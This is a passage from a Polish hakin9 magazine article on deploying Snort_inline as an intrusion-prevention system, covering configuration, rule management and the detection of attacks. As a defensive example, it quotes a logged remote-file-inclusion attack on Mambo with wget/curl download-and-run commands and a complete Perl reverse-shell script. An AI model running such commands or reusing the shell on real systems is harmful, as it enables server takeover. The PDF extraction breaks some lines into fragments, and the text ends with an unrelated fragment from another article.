-

web

.

rules

include

$

RULE_PATH

/

community

-

exploit

.

rules

include

$

RULE_PATH

/

community

-

ftp

.

rules

include

$

RULE_PATH

/

community

-

web

-

misc

.

rules

include

$

RULE_PATH

/

community

-

smtp

.

rules

background image

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

63

Addheandler cgi-script .cgi .sh .pl .py
<Directory /var/www/placid>
Options ExecCGI
</Directory>

Ponadto, aby ustawić parametry połą-
czenia z bazą danych należy zmodyfi-
kować plik konfiguracyjny PLACID:

tar -zxvf placid-2.0.3.tar.gz
mv placid-2.0.3 placid
mv placid /var/www
chmod +x /var/www/
placid/placid.py
vi /var/www/placid/
placid.cfg
dbhost=localhost
db=snort
passwd=password
user=snort
port=3306
resolvedns=yes
entrieslimit=300
debug=no
eventaltviews=yes

Do automatycznej aktualizacji reguł
zalecamy napisany w Perlu program
Oinkmaster, który pozwala nam
na zachowanie aktualności naszych
reguł dzięki pobieraniu ich kodu
z różnych źródeł: Snort VRT, spo-
łeczność Snort, społeczność ble-
eding-snort, zewnętrzne oraz wła-
sne (lokalne).

Poniżej znajdziecie instrukcję

konfiguracji Oinkmastera:

Oinkmaster.conf:
# Przykład dla Snort-current (
"current" oznacza obrazy z cvs).
url = http://www.snort.org/pub-bin/
oinkmaster.cgi/
[codicediregistrazione]/
snortrules-snapshot-
CURRENT.tar.gz
# Przykład dla reguł ze społeczności
url = http://www.snort.org/pub-bin/
downloads.cgi/Download/
comm_rules/
Community-Rules-2.4.tar.gz
# Przykład dla reguł z
# projektu Bleeding Snort
url = http://www.bleedingsnort.com/
bleeding.rules.tar.gz
# Jeżeli wolisz pobierać archiwa reguł
# nie za pomocą Oinkmastera, możesz

# wskazać mu plik na lokalnym systemie
# plików za pomocą file://<filename>,
na przykład:
# url = file:///tmp/snortrules.tar.gz
# W rzadkich przypadkach możemy chcieć

# pobierać reguły bezpośrednio z

lokalnego

# katalogu (nie należy tego mylić z
# katalogiem docelowym).
# url = dir:///etc/snort/src/rules

Rysunek 3.

Przykład sieci mieszanej

Listing 5.

Preprocesory dla sieci mieszanej

preprocessor perfmonitor: time 60 file /var/log/snort/perfmon.txt pktcnt 500
preprocessor flow: stats_interval 0 hash 2
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy first detect_anomalies
preprocessor stream4: disable_evasion_alerts detect_scans inline_state
preprocessor stream4_reassemble: both
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
preprocessor clamav: ports 25 80, toserveronly, action-drop, dbdir /var/lib/

clamav, dbreload-time 43200

Rysunek 4.

Prosty obraz ekranu

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

64

Po automatycznej aktualizacji mo-
żemy wybrać, które reguły włączyć
bądź wyłączyć:

Oinkmaster.conf:
disabledsid [sidy reguł]

Oinkmaster umożliwia automatycz-
ną zamianę aplikacji reguł. Poniż-
sza opcja umieszczona w pliku
konfiguracyjnym zastąpi wystąpie-
nia aplikacji alert przez drop:

Oinkmaster.conf:
modifysid * "^alert" | "drop"

Efektywnym systemem zarządzania
regułami jest SRRAM, który, chociaż
cokolwiek przestarzały, pozwala na
składowanie reguł w dedykowanej
bazie danych i zarządzanie nimi po-
przez WWW, z wykorzystaniem pro-
stego skryptu przetwarzającego pliki
reguł. Patrz Rysunek 5.

Aby narzędzie to mogło pobierać

reguły z opcją drop należy zmienić
fragment jego kodu źródłowego:

rules_import.pl:
if (/^alert/) {
# jeżeli dana linia to alert
in
if (/^drop/) {
# jeżeli dana linia to drop

Aby proces importu reguł zakończył
się sukcesem musimy stworzyć ba-
zę danych, która będzie zawierać
zbiór reguł:

# mysqladmin -uroot -p create snort_

rules_mgt

A co za tym idzie, odpowiednio zmo-
dyfikować plik

rules _ import.pl

:

use DBD::mysql;
# === Modify to fit your system ===
$rules_list = 'snort_rules_file_list';
$mysql_host = 'localhost';
$mysql_port = '3306';
$mysql_db = 'snort_rules';
$mysql_user = 'root';
$mysql_passwd = 'password';

oraz skrypt cgi

rules _ mgt.pl

uru-

chamiany przez serwer WWW:

use DBI;
use DBD::mysql;
use CGI;
# === Modify to fit your system ===
$this_script='rules_mgt.pl';
$cgi_dir='cgi-bin';
$mysql_host = '127.0.0.1';
$mysql_port = '3306';
$mysql_db='snort_rules_mgt';
$mysql_user='root';
$mysql_passwd='';

Teraz wywołaj polecenie

#perl

rules _ import.pl

i skieruj swoją

przeglądarkę pod adres: http://IP/

cgi-bin/rules_mgt.pl

Kolejnym podstawowym w przy-

padku IDS / IPS narzędziem jest
PMGRAPH. Jest to prosty skrypt
napisany w Perlu generujący dwie
strony w HTML zawierające ta-
bele przedstawiające wydajność
Snorta. By mógł on działać, w pliku
konfiguracyjnym koniecznie trze-

Listing 6.

Zalecane reguły dla

sieci mieszanej

# Ogólne

include

$

RULE_PATH

/

bleeding

.

rules

include

$

RULE_PATH

/

ftp

.

rules

include

$

RULE_PATH

/

telnet

.

rules

include

$

RULE_PATH

/

dns

.

rules

include

$

RULE_PATH

/

tftp

.

rules

include

$

RULE_PATH

/

x11

.

rules

include

$

RULE_PATH

/

misc

.

rules

include

$

RULE_PATH

/

nntp

.

rules

include

$

RULE_PATH

/

other

-

ids

.

rules

include

$

RULE_PATH

/

community

-

ftp

.

rules

include

$

RULE_PATH

/

community

-

misc

.

rules

# Głównie spyware

include

$

RULE_PATH

/

bleeding

-

malware

.

rules

include

$

RULE_PATH

/

malware

.

rules

include

$

RULE_PATH

/

spyware

-

put

.

rules

include

$

RULE_PATH

/

aams7

.

rules

# Zagadnienia sieciowe

include

$

RULE_PATH

/

bad

-

traffic

.

rules

include

$

RULE_PATH

/

snmp

.

rules

# Eksploity i ataki bezpośrednie

include

$

RULE_PATH

/

exploit

.

rules

include

$

RULE_PATH

/

bleeding

-

exploit

.

rules

include

$

RULE_PATH

/

community

-

exploit

.

rules

# Skany i rozpoznania

include

$

RULE_PATH

/

scan

.

rules

include

$

RULE_PATH

/

bleeding

-

scan

.

rules

# Nietypowe

include

$

RULE_PATH

/

finger

.

rules

# R-usługi itd.

include

$

RULE_PATH

/

rpc

.

rules

include

$

RULE_PATH

/

rservices

.

rules

# DOS

include

$

RULE_PATH

/

dos

.

rules

include

$

RULE_PATH

/

ddos

.

rules

include

$

RULE_PATH

/

bleeding

-

dos

.

rules

# Związane z WWW

include

$

RULE_PATH

/

web

-

iis

.

rules

include

$

RULE_PATH

/

web

-

client

.

rules

include

$

RULE_PATH

/

web

-

php

.

rules

include

$

RULE_PATH

/

web

-

attacks

.

rules

include

$

RULE_PATH

/

bleeding

-

web

.

rules

include

$

RULE_PATH

/

community

-

web

-

dos

.

rules

include

$

RULE_PATH

/

community

-

web

-

php

.

rules

# Sygnatury SQL oraz baz danych

include

$

RULE_PATH

/

sql

.

rules

include

$

RULE_PATH

/

oracle

.

rules

Listing 7.

Zalecane reguły dla

sieci mieszanej, cd

include

$

RULE_PATH

/

mysql

.

rules

include

$

RULE_PATH

/

community

-

sql

-

injection

.

rules

# Dotyczące Windows

include

$

RULE_PATH

/

netbios

.

rules

# Odpowiedzi na kompromitację

include

$

RULE_PATH

/

attack

-

responses

.

rules

include

$

RULE_PATH

/

bleeding

-

attack_response

.

rules

# Sygnatury poczty
#include $RULE_PATH/smtp.rules

include

$

RULE_PATH

/

imap

.

rules

include

$

RULE_PATH

/

pop2

.

rules

include

$

RULE_PATH

/

pop3

.

rules

include

$

RULE_PATH

/

community

-

mail

-

client

.

rules

# Trojany, wirusy oraz spyware

include

$

RULE_PATH

/

backdoor

.

rules

include

$

RULE_PATH

/

virus

.

rules

include

$

RULE_PATH

/

bleeding

-

virus

.

rules

include

$

RULE_PATH

/

community

-

virus

.

rules

# Sygnatury polityki

include

$

RULE_PATH

/

porn

.

rules

include

$

RULE_PATH

/

p2p

.

rules

include

$

RULE_PATH

/

bleeding

-

p2p

.

rules

include

$

RULE_PATH

/

bleeding

-

inappropriate

.

rules

include

$

RULE_PATH

/

community

-

inappropriate

.

rules

background image

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

65

ba uaktywnić preprocesor perfoni-
tor, z kolei do poprawnego ogląda-
nia tabel niezbędne jest narzędzie
rrdtool. Całość można bezproble-
mowo dodać do pliku crontab, jako
że generowane obrazki i strony ma-
ją charakter przyrostowy. Pmgraph
przedstawia Rysunek 6.

W przypadku konfiguracji

preprocesora: preprocessor perf-
monitor:

time 60 file /var/log/snort/

perfmon.txt pktcnt 500

uruchamiać

będziemy polecenie:

pmgraph.pl

[ścieżka do folderu, w którym
publikujemy tabele]

/var/log/snort/

perfmon.txt

.

Chcąc dodać to do crona nale-

ży zastosować następującą linijkę:

*/30 * * * * /root/pmgraph-0.2/
pmgraph.pl

[ścieżka do folderu,

w którym publikujemy tabele]

/var/

log/snort/perfmon.txt

, aby polece-

nie było wywoływane codziennie co
trzydzieści minut.

Implementacja

Snorta w trybie inline

Teraz opiszemy pokrótce, jak za-
instalować serwer IPS oparty na
Snorcie w trybie inline za pomo-
cą skryptów dostępnych na stronie

www.snortattack.org.

Zastosowanie skryptów ze snor-

tattack to najprostszy i najszybszy
sposób na rozwiązanie zależności
i określenie opcji kompilacji. Dzięki
skryptom tym można uzyskać dzia-
łający IPS w mniej niż 45 minut, co
pozwala na skoncentrowanie się na
procesach: konfiguracji i optymali-
zacji. Z drugiej strony, aby w pełni
zrozumieć implementację systemu
trzeba samodzielnie zainstalować
wszystkie różne pakiety. Zaawan-
sowanym użytkownikom polecamy
przeczytanie podręcznika użytkow-
nika instalacji krok po kroku, dostęp-
nego w sekcji dokumentacji serwi-
su snortattack, bez korzystania ze
skryptów.

Skrypty i instrukcje snortattack

automatyzują wiele procedur oraz
wyjaśniają, jak zainstalować Snort_
inline pod następującymi dystrybu-
cjami:

• Debian
• Fedora Core 2, 3, 4, 5

Podczas implementacji dystrybucji
należy wyłączyć firewall oraz seli-
nux.

Po zakończeniu implementacji

pobieramy current-attack.sh (www.

snor tattack.org /mambo /script /

current-attack.sh), zmieniamy odpo-
wiednio wartość zmiennej

SA _ DISTRO

postępując zgodnie z instrukcjami
w skrypcie.

Ustawiamy tutaj deb w przypad-

ku Debiana bądź “fc20” “fc30” “fc40”
“fc50” w przypadku odpowiednich
wersji Fedory.

Jako wartość zmiennej

SA _ DIR _

ROOT

ustawiamy pełną ścieżkę do

miejsca, w które pobierane będą
pakiety i skrypty do implementacji
Snorta. Domyślną ścieżką jest tu

/root/snortattack.

Ustawiamy wartość języka (wło-

ski bądź angielski): LANG – ita. Do-
myślnie wybrany jest włoski.

Listing 8.

Pakiety z logów Apache'a

216.63.z.z - -[28/Feb/2006:12:30:44+1300]"GET/
index2.php?option=com_content&do_pdf=1&id
=1index2.php?_REQUEST[option]=com_content
&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_
absolute_path=http://66.98.a.a/cmd.txt?&cmd
=cd%20/tmp;wget%20216.99.b.b/cback;chmod
%20744%20cback;./cback%20217.160.c.c%208081
;wget%20216.99.b.b/dc.txt;chmod%20744%20dc.txt;
perl%20dc.txt%20217.160.c.c%208081;cd%20/var/tmp;
curl%20-o%20cback%20http://216.99.b.b/cback;
chmod%20744%20cback;./cback%20217.160.c.c%
208081;curl%20-o%20dc.txt%20http://216.99.b.b/
dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%20217
.160.c.c%208081;echo%20YYY;echo| HTTP/1.1
"404 - "-" "Mozilla/4.0(compatible; MSIE 6.0;
Windows NT 5.1;)" "-" 0localhost

Listing 9.

Odpowiedź serwera na pytanie o tożsamość użytkownika

11:12:56.791930 IP 10.0.x.x.32770 > 217.160.c.c.8081: P 1:40(39) ack 1

win 5840

<nop,nop,timestamp 454607 3169841954>
0x0000: 4500 005b 6f63 4000 4006 f4c6 0a00 0078 E..[oc@.@......x
0x0010: d9a0 f25a 8002 1f91 231c 80d0 6dd5 df65 ...Z....#...m..e
0x0020: 8018 16d0 a26a 0000 0101 080a 0006 efcf .....j..........
0x0030: bcef f322 7569 643d 3028 726f 6f74 2920 ..."uid=0(root).
0x0040: 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root).grou
0x0050: 7073 3d30 2872 6f6f 7429 0a ps=0(root).

Listing 10.

Odpowiedź Snorta na przywileje roota w Mambo

11:12:56.824718 IP 10.0.x.x.514
> 10.0.y.yy.514: SYSLOG
auth.alert, length: 164
0x0000: 4500 00c0 0189 4000 4011 23d4 0a00 0078 E.....@.@.#....x
0x0010: 0a00 0059 0202 0202 00ac 2937 3c33 333e ...Y......)7<33>
0x0020: 736e 6f72 743a 205b 313a 3439 383a 365d snort:.[1:498:6]
0x0030: 2041 5454 4143 4b2d 5245 5350 4f4e 5345 .ATTACK-RESPONSE
0x0040: 5320 6964 2063 6865 636b 2072 6574 7572 S.id.check.retur
0x0050: 6e65 6420 726f 6f74 205b 436c 6173 7369 ned.root.[Classi
0x0060: 6669 6361 7469 6f6e 3a20 506f 7465 6e74 fication:.Potent
0x0070: 6961 6c6c 7920 4261 6420 5472 6166 6669 ially.Bad.Traffi
0x0080: 635d 205b 5072 696f 7269 7479 3a20 325d c].[Priority:.2]
0x0090: 3a20 7b54 4350 7d20 3130 2e30 2exx 2exx :.{TCP}.10.0.x.x
0x00a0: xxxx 3a33 3237 3730 202d 3e20 3231 372e xx:32770.->.217.
0x00b0: 3136 302e xxxx xx2e xxxx 3a38 3038 310a 160.ccc.cc:8081.

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

66

Po zakończeniu zmian w current-

attack.sh uruchamiamy skrypt za po-
mocą następującego polecenia:

> sh current-attack.sh

System pobierze skrypty oraz pakie-
ty niezbędne do zakończenia proce-
su instalacji do katalogu zdefiniowa-
nego w

SA _ DIR _ ROOT

. Wewnątrz te-

go katalogu zmienimy skrypt fast_in-

line.sh, który w pełni automatyzuje
instalację Snorta.

Aby instalacja przebiegła po-

prawnie musimy ustawić trochę
parametrów, które fast_inline wy-
korzysta do skonfigurowania urzą-
dzenia:

SA _ DIR _ ROOT

– pełna ścieżka do

miejsca, w które pobrane zostały
pakiety i skrypty,

MYSQLPWD

– hasło konta root w ba-

zie mysql,

MYSQLPWS

– hasło konta snort w

bazie mysql,

IP

– adres IP, który chcemy przy-

pisać urządzeniu,

NETMASK

– maska sieci, którą

chcemy przypisać urządzeniu,

GW

– adres bramy, który chcemy

przypisać urządzeniu,

NETWORK

– sieć, do której należy-

my,

BROADCAST

– wartość adresu roz-

głaszania,

DNS

– główny serwer DNS,

HOMENET

– określa tak zwaną sieć

zaufaną. Wartości w zmiennej
oddzielone są przecinkami.

Zmienne wymienione poniżej usta-
wione są domyślnie tak, by auto-
matycznie przeprowadzić wszystkie
operacje niezbędne do zainstalowa-
nia Snorta. Przyjrzyjmy się pokrótce,
co robią:

SA _ UPDATE

– funkcja ta dokonuje

importu listy (sources.list w przy-
padku Debiana, yum.conf w przy-
padku Fedory) i aktualizuje sys-
tem,

SA _ DEPS

– pobiera i instaluje za

pomocą menedżera pakietów
(apt pod Debianem, yum pod Fe-
dorą) pakiety wymagane przez
Snorta,

SA _ EXTRACT

– pobiera i rozpako-

wuje pakiety tar.gz, których Snort
wymaga do poprawnego działa-
nia,

SA _ MYSQL

– konfiguruje serwer

mysql z podanymi wcześniej ha-
słami, importuje bazę danych
Snorta oraz ustawia wymagane
uprawnienia,

SA _ INSTALL

– kompiluje elementy

wymagane przez Snorta, tworzy
katalogi na pliki dziennika, insta-
luje BASE, w razie potrzeby two-
rzy link do jądra itd.,

SA _ INLINE

– kompiluje Snort_in-

line,

SA _ REPORT

– instaluje Snort Re-

port,

SA _ PLACID

– instaluje Placid,

SA _ SNORT _ CONF

– ustawia w pliku

konfiguracyjnym Snorta podane
wcześniej wartości (sieć domo-
wa, hasło itd.),

SA _ AUTO

– powoduje uruchamia-

nie Snorta przy starcie systemu,

SA _ ETH

– konfiguruje interfejsy

Ethernet,

SA _ SET _ SCRIPT

– tworzy skrypt

uruchamiający określoną wersję
Snorta (klasyczną bądź Snort_in-
line) z podanymi wcześniej para-
metrami (ip, brama, maska, sieć
itd.),

SA _ START

– pozwala uruchomić

Snorta po zakończeniu instalacji,

SA _ EMAIL

– umożliwia wysłanie

informacji do zespołu Snortat-
tack, celem przekazania pozy-
tywnych bądź negatywnych opi-
nii na temat instalacji przy użyciu

fast_inline.sh.

Po zakończeniu instalacji należy zre-
startować komputer.

Jeżeli chodzi o skrypt fast_utility,

jest to nowy, interaktywny twór upra-
szczający typowe operacje wykony-
wane na urządzeniach IPS, jak na
przykład:

• zmianę adresu IP mostka,
• restart snorta,
• aktualizację reguł,
• tworzenie kopii zapasowej alar-

mów i czyszczenie bazy danych,

• odnotowywanie fałszywych alar-

mów,

• zmianę sieci domowej,
• zmianę rodzaju sieci (LAN DMZ

MISTA),

• zmianę hasła roota, itd.

Rysunek 5.

Obraz ekranu ze SRRAM

Listing 11.

Zalecana

konfiguracja w httpd.conf oraz

my.cnf

httpd.conf:
MinSpareServers 3
MaxSpareServers 6
StartServers 1
MaxClients 15
MaxRequestsPerChild 10
my.cnf :
key_buffer = 4M
max_allowed_packet = 4M
thread_stack = 32K
query_cache_limit = 104857
query_cache_size = 1677721
query_cache_type = 1
max_allowed_packet = 4M
key_buffer = 4M

background image

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

67

Jest zaprojektowany tak, by mógł
być również wykorzystywany jako
aplikacja konsolowa, a ponadto jest
uruchamiany przy każdym logowa-
niu się roota.

Jeżeli niektóre z wymienionych

powyżej zmiennych nie są ustawio-
ne w fast_inline, oznacza to że nie są
one niezbędne do działania skryptu.
Sugerujemy uaktywnienie domyśl-

nie zmiennej zarządzającej funkcja-
mi. Więcej informacji znaleźć moż-
na w podręczniku użytkownika na

www.snortattack.org.

Praktyczne przykłady

Wymieńmy teraz kilka technik ata-
ku, które Snort_inline może za-
uważyć za pomocą reguł i prepro-
cesorów.

Ataki wymierzone w Mambo

Celem analizowanego tutaj ataku
jest kompromitacja serwera i za-
ładowanie eksploita wykorzystu-
jącego lukę w Mambo<= 4.0.11.
W przypadku tym pakiety pobrane
zostały z logów Apache'a, jak po-
kazuje to Listing 7.

Powyższa sekwencja pozwala

załadować i uruchomić cmd.txt.

Poniżej znajdziecie ją w czytel-

niejszej formie:

cd /tmp; \
wget 216.99.b.b/cback;
chmod 744 cback; \
./cback 217.160.c.c 8081; \
wget 216.99.b.b/dc.txt;
chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
cd /var/tmp; \
curl -o cback http://
216.99.b.b/cback;
chmod 744 cback; \
./cback 217.160.c.c 8081; \
curl -o dc.txt http://
216.99.b.b/dc.txt;
chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
echo YYY;echo|

A oto zawartość cmd.txt:

#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET,
PF_INET, SOCK_STREAM,
getprotobyname('tcp'));
connect(SOCKET,
sockaddr_in
($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");

Rysunek 6.

Stworzone przez pmgraph tabele przedstawiające wydajność

Snorta

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

68

open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;
HISTFILE=/dev/null /bin/sh -i");

Należy odnotować, że celem powyż-
szych poleceń jest odkrycie, któ-
ry użytkownik w systemie urucha-
mia Mambo. Szybka reakcja serwe-
ra nań przedstawione jest na Listin-
gu 8.

Jeżeli zatem Mambo posiada

przywileje roota, możemy przez od-
krytą lukę uruchamiać skrypty. Re-
akcję Snorta na taki przypadek
przedstawia Listing 9.

Phishing

W dziedzinie badań naukowych
określenie phishing opisuje stu-
dium słabo znanego zagadnienia
przeprowadzone bez ściśle okre-
ślonego celu: oznacza losowe po-

szukiwanie, podobnie do rybaka
zarzucającego sieć z nadzieją zła-
pania kilku ryb. Znaczenie to po-
chodzi z 1990 roku.

Phishing w informatyce to tech-

nika inżynierii społecznej pozwala-
jąca na uzyskanie dostępu do oso-
bistych i poufnych danych, co po-
zwolić ma na kradzież tożsamości
użytkownika, za pomocą fałszy-
wych wiadomości e-mail (jak rów-
nież innych socjotechnicznych tri-
ków) skonstruowanych tak, by wy-
dawały się autentyczne. Użytkow-
nik zwiedziony takimi wiadomo-
ściami ujawnić może swoje oso-
biste dane, jak na przykład numer
konta bankowego, nazwę i hasło
użytkownika, numer karty kredy-
towej itp.

Opierając się na definicji zawar-

tej w Wikipedii opiszemy metodę
pozwalającą na rozwiązanie tego
problemu. Przedstawimy wspomnia-
ne już wcześniej, bardzo użyteczne
narzędzie, jakim jest preprocesor
Clamav, zintegrowany z dystrybucja-
mi Snort_inline.

Zasada działania tego prepro-

cesora wydaje się być bardzo pro-
sta, jednak o ile nie jest on popraw-
nie skonfigurowany jest on bezuży-
teczny. Preprocesor Clamav korzy-
sta z dbdir Clamava jako zbioru re-

guł przechwytywania dla Snorta,
pozwalając na użycie w przypad-
ku pozytywnego rozpoznania akcji
drop. Niezmiernie ważne jest stałe
dbanie o aktualność definicji Clama-
va (dbdir). Warto przy okazji wspo-
mnieć, że preprocesor ten nie speł-
nia wszystkich wspomnianych po-
wyżej reguł – jedynie phishing bądź
wirusy, które nie są zaszyfrowane
ani spakowane.

Niezależnie od powyższego ja-

sne jest, że preprocesor ten jest
idealny do blokowania ataków phi-
sherów – wiadomości ich są bo-
wiem pisane otwartym, zrozumia-
łym tekstem. Konfigurację tego
rodzaju sieci omówimy w następ-
nym akapicie.

Wymiana plików

Jak wszyscy dobrze wiemy w pry-
watnych sieciach intensywnie operu-
ją programy peer to peer.

Najpopularniejszymi klientami do

pobierania w ten sposób plików są:
Emule, Bittorrent, Gnutella, Kazaa,
Soulseek.

Najpowszechniej stosowanymi

przez tych klientów protokołami są:

• bittorrent (wykorzystywany przez

klienta bittorrent)

• eDonkey (wykorzystywany przez

klienta emule)

• fastrack (wykorzystywany przez

klienta Kazaa)

• Gnutella (wykorzystywany przez

klienta Gnutella)

• Soulseek (wykorzystywany przez

klienta Soulseek)

Celem zablokowania tego rodza-
ju klientów peer to peer należy
uaktywnić następujące zbiory re-
guł: bleeding-p2p oraz p2p. Pliki te
(

/ e t c / s n o r t _ i n l i n e / r u l e s /

bleeding-p2p.rules

.../p2p.rules

)

zawierają wszystkie najnowsze re-
guły pozwalające na ochronę sieci
przed wykorzystaniem przez szko-
dliwe programy p2p, które jak wie-
my w zdecydowanej większości
przypadków wysycają całe dostęp-
ne łącze.

Należy sprawdzić, czy zmienna

HOMENET w pliku snort_inline.conf

definiuje sieć, którą chcemy chronić
przed takimi klientami.

Reguły tego rodzaju podzielone

są według rodzaju działania. I tak,
mamy na przykład:

Wyszukiwanie plików w sieci eDon-
key:

drop udp $HOME_NET any ->
$EXTERNAL_NET 4660:4799
(msg: "BLEEDING-EDGE P2P
eDonkey Search"; content:
"|e3 0e|";
offset: 0; depth: 2;
rawbytes;classtype:
policy-violation; reference:url,
www.edonkey.com;
sid: 2001305; rev:3; )

Ruch bittorrent:

drop tcp $HOME_NET any ->
$EXTERNAL_NET any (msg:
"BLEEDING-EDGE P2P
BitTorrent Traffic";
flow:
established;
content:
"|0000400907000000|";
offset: 0; depth: 8;
reference:
url,bitconjurer.org/BitTorrent/
protocol.html;
classtype: policy-violation;
sid: 2000357; rev:3; )

Żądanie od klienta Gnutelli:

drop tcp $HOME_NET any ->
$EXTERNAL_NET any (msg:
"P2P GNUTella client request";
flow:to_server,established;
content:
"GNUTELLA"; depth:8;
classtype:policy-violation;
sid:1432; rev:6;)

Jeżeli chce się blokować protoko-
ły transferu plików należy uważ-
nie wybrać z ww. plików odpowied-
ni protokół, a co za tym idzie odpo-
wiednie działanie. Nie zawsze da-
je się całkowicie zatrzymać ruch
generowany przez klienta p2p,
w rzeczy samej, testy pokazały że
program Emule nie jest w stanie

background image

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

69

zablokować sieci kad, podczas gdy
bittorrenta ogranicza jedynie wy-
korzystanie łącza. Chociaż wspo-
mniane tu rozwiązanie nie zdoła
całkowicie zablokować tych progra-
mów, włączenie ww. reguł genero-
wać będzie regularne problemy,
które mogą zniechęcić użytkowni-
ków aplikacji do wymiany plików.

Detekcja fałszywych

alarmów: podejście

systematyczne

Teraz stworzymy metodę wykrywa-
jącą fałszywe alarmy. Opiszemy tu-
taj trzy różne scenariusze:

• fałszywe alarmy przy korzystaniu

z WWW

• fałszywe alarmy przy zatrzyma-

nej poczcie

• ogólne fałszywe alarmy (nie

WWW i nie poczta)

W pierwszym przypadku musimy
znać adres źródłowy hosta, które-
go dotknął problem, a następnie,
za pomocą podstawowego inter-
fejsu sieciowego i wykorzystując
funkcję wyszukiwania (wybrawszy
kryterium ip i wpisawszy adres w
okrągłych nawiasach) znajdujemy
go w powiadomieniach.

Znalazłszy fałszywy alarm (który

spowodował odrzucenie) mamy do
wyboru dwa możliwe rozwiązania:

• wyłączenie reguł, które go spo-

wodowały,

• dodanie źródłowego adresu

IP do zmiennej w pliku

snort _

inline.conf

określającą sieć do-

mową.

Dzięki narzędziu pmgraph możemy
śledzić statystyki ruchu na i wydaj-
ności urządzenia. Interesująca jest

tabela reprezentująca obciążenie
procesora, które mogło powodo-
wać fałszywe alarmy (w przypadku
obciążeń większych niż 70%), któ-
rych nie wyłapał BASE.

Kolejną istotną informacją przy

wyszukiwaniu fałszywych alarmów
jest liczba ataków na sekundę. Je-
żeli znajdziemy w tej tabeli wartości
większe niż 15 na sekundę, mamy do
czynienia z jednym z dwóch poniż-
szych przypadków:

• A – fałszywy alarm;
• B – atak wymierzony w host

w sieci.

Najbardziej przydatna jest tworzona
przez silnik bezpieczeństwa tabela
reprezentująca zablokowane treści.
Dzięki BASE mamy możliwość oglą-
dania szczegółów ataków, zaś opcja

plain text jest bardzo przydatna przy
przeglądaniu przechwyconego ru-
chu w formacie ASCII.

Nie jest możliwe oglądanie

przez interfejs WWW wykorzysta-
nia pamięci (chyba, że zainstaluje-
my w naszym systemie mrtg). Jest
to szczególnie ważne w przypad-
kach, gdy chcemy uruchomić dużą
liczbę reguł. Aby zapobiec awariom
naszej maszyny bądź generowa-
niu fałszywych alarmów, zalecamy
optymalizację reguł oraz demonów
takich jak Apache czy mysql (patrz
Listing 10).

Podsumowanie

Podsumowując, Snort_inline to efek-
tywny sposób na stawienie czoła
szczególnie niebezpiecznym środo-
wiskom sieciowym.

Wprawdzie nie odpowiedź na

wszelkie zło, ale jest to dobrze ułożo-
na aplikacja bezpieczeństwa – jeżeli
została zaimplementowana wedle da-
nych potrzeb.

W przypadku Snorta reguła mó-

wiąca, że „włączenie wszystkiego

czyni nasz komputer bezpieczniej-

szym”, nie ma zastosowania – każ-
da bowiem reguła może bowiem
generować fałszywe alarmy, bloku-
jące niewinny ruch w sieci bądź ge-
nerujące inne problemy. l

O autorach

Pierpaolo Palazzoli pracuje w branży bezpieczeństwa, jest absolwentem inży-
nierii telekomunikacji na Politechnice Mediolańskiej we Włoszech. Pracuje nad
Snortem od pięciu lat. Matteo Valenza pracuje w sektorze IT jako administra-
tor systemów, pracuje nad Snortem od roku. Rezultatem współpracy i wymiany
wiedzy pomiędzy Matteo a Pierpaolo jest snortattack.org. Serwis pojawił się
w sieci sześć miesięcy temu, zespół zapoczątkował go jednak przed dwoma
laty. Jego głównym atutem jest dokumentacja użytkownika oraz skrypty insta-
lacyjne dla Snorta, napisane po włosku i angielsku. Dostępne jest także aktyw-
ne forum dyskusyjne oraz lista mailingowa. Pierpaolo i Matteo planują stwo-
rzyć dzięki snortattack.org Grupę użytkowników Snorta, celem której ma być
wymiana idei związanych z programem pomiędzy jego użytkownikami we Wło-
szech i nacałym świecie.
www.snortattack.org!

W Sieci

http://www.snort.org – Snort
http://snort-inline.sourceforge.net -Snort_inline
http://secureideas.sourceforge.net - Base
http://speakeasy.wpi.edu/placid - Placid
http://oinkmaster.sourceforge.net - Oinkmaster
http://sourceforge.net/projects/srram - Srram
http://people.su.se/~andreaso/perfmon-graph - Pmgraph
http://fedora.redhat.com - Fedora
http://www.debian.org – Debian
http://www.mamboserver.com - Mambo
http://www.clamav.net – Clamav
http://www.bleedingsnort.com - Bleedingsnort
http://www.snortattack.org – Snortattack

background image

www.hakin9.org

hakin9 Nr 1/2007

70

Obrona

P

roblem dodatkowo komplikuje fakt, że
nowoczesne sieci dostarczają wie-
le metod dostępu i jednocześnie zło-

żone są z wielu coraz bardziej skompliko-
wanych systemów sieciowych. Każdy z nich
(w większości przypadków) działa w zupełnym
odosobnieniu, tocząc nierówną walkę, w której
broniący stale musi nadążać za atakującymi.
Z pomocą administratorom przychodzą coraz
częściej systemy badające zachowanie po-
szczególnych węzłów sieciowych na trochę
wyższym niż podstawowa diagnostyka pozio-
mie, ale są one obecnie ograniczone do rapor-
towania i sugerowania działań, a brak architek-
tury wspólnej dla całej gamy rozwiązań powo-
duje, że ich skuteczność w zestawieniu z nakła-
dami pracy administratorów jest niewielka.

Ida powstania mechanizmu DTM opiera się

na połączeniu możliwości wielu różnego rodza-
ju urządzeń rozproszonych w sieci. Architektu-
ra DTM umożliwia rozpowszechnianie w cza-
sie rzeczywistym informacji o aktualnym za-
grożeniu na kontrolowane urządzenia i w ten
sposób powstrzymanie ataku na sieć, właśnie
wybuchającą zarazę sieciową lub innego ro-
dzaju anomalię ruchową. Jeśli wysłanie infor-
macji wiązało się z uaktualnieniem konfigura-

cji urządzeń, powinny one oczywiście zostać
poinformowane po ustaniu ataku i powrócić do
pierwotnego stanu – jednocześnie raportując
te zdarzenia do systemów zarządzania.

